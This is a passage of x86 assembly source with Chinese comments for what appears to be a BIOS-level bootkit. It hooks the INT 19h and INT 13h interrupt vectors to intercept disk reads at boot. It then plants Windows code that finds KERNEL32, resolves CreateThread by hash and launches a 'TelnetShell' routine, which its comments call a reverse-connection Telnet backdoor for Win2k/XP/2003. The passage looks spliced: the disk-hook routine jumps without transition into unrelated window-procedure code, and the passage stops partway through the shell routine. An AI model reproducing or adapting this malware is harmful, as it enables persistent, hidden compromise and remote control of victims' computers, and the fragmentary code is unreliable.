xor bx,bx
mov ds,bx
add dx,NewINT19H - GetCurrentAddr ;dx->NewINT19H内存的地址
mov ds:[19h*4],dx
mov ds:[(19h*4) + 2],es ;设置成我们的INT19H服务代码
;***************************************************************************************************************************************** .endif
pop ds
pop es
popad
popf
;jmp ReturnOldROM ;跳转到原来的ROM代码的跳转处执行
retf
;*****************************************************************************************************************************************WaitPressScrollKey: ;函数入口:CX=350约为10ms, 函数延时: 33(us)
push ax
.repeat
in al,60h
.if al == 46h ;Scroll Lock键扫描码:46h
stc
pop ax
ret
.endif
in al,61h
test al,010h
.continue .if !ZERO?
.repeat
in al,61h
test al,10h
.until !ZERO?
dec cx
.until cx == 0
clc
pop ax
ret
;*****************************************************************************************************************************************NewINT19H:
pushf
;cli
push eax
push es
;jmp $ ;bochs调试1#.
xor ax,ax
mov es,ax
mov eax,es:[84h*4]
mov es:[19h*4],eax ;恢复中断向量19H值.
mov eax,es:[13h*4]
.if es:[85h*4] != eax
mov es:[85h*4],eax ;借用中断向量85H,保存中断向量13H.reserved for BASIC 82h~85h
mov word ptr es:[13h*4],NewINT13H ;设置NewINT13H在内存的地址.
mov es:[(13h*4) + 2],cs ;设置成我们的INT13H服务代码
.endif
pop es
pop eax
popf ;恢复现场
int 84h ;调用旧的中断向量19H.
iret
;*****************************************************************************************************************************************NewINT13H:
pushf ;有指令要改变标志寄存器值.
test ah, 0bdh ;是不是读数据到内存?ah=02,ah=42h.
.if !ZERO? ;ZF=0
popf
int 85h ;调用旧的中断向量13H.
iret
.endif
mov word ptr cs:[INT13LASTFUNCTION],ax
popf
int 85h ;调用旧的中断向量13H.
.if CARRY? ;CF=1,读失败退出服务
iret
.endif
mov eax,[esp+2Ch] ;get 'uMsg' argument
.if eax == 0001h ;WM_CREATE
mov eax,[edx+0Ch] ;ptr to loader data
mov ecx,[eax+1Ch] ;ptr to first module in initialization-order list
.repeat
mov ebx,[ecx+8] ;module image base
mov esi,[ecx+20h] ;ptr to module file name
mov ecx,[ecx] ;ptr to next module
lodsb
or al,20h
.until al == 'k' ;assume KERNEL32.DLL will be first module starting with 'K'
;EBX = KERNEL32 镜像基址 bochs调试13#:lb 0x7ffe09cc
;mov edi,(CSL_USER_BACKDOOR + (PEApiHashFind - Code32Start))
push ebx ;ebx:dwThreadID 变量使用堆栈.
push esp ;push addr dwThreadID
push 0
push 0
push (CSL_USER_BACKDOOR + (TelnetShell - Code32Start))
push 0
push 0
mov edx,3f1764e5h ;hash("CreateThread")=3f1764e5h
call PEApiHashFind ;call edi 是否需要这样调用?
call eax ;invokeCreateThread,NULL,0,offset TelnetShell,NULL,NULL,addr dwThreadID
pop ebx ;ebx:dwThreadID 去掉变量使用.
.endif
popad
ret ;invoke original SASWndProc
;*****************************************************************************************************************************************TelnetShell: ;可用于安装在win2k/xp/2003 反向连接Telnet后门应用程序.
xor eax,eax ;bochs调试14#:lb 0x7ffe09f0
mov edx,fs:[eax+30h] ;ptr to PEB
mov eax,[edx+0Ch] ;ptr to loader data
mov ecx,[eax+1Ch] ;ptr to first module in initialization-order list
.repeat
mov ebx,[ecx+8] ;module image base
mov esi,[ecx+20h] ;ptr to module file name
mov ecx,[ecx] ;ptr to next module
lodsb
or al,20h
.until al == 'k' ;assume KERNEL32.DLL will be first module starting with 'K'
;EBX = KERNEL32 image base
mov edi,ebx ;edi = kernel32基址 bochs调试15#:lb 0x7ffe0a05
TelnetShell_Strat:
mov ebp,esp ;bochs调试15#:lb 0x7ffe0a07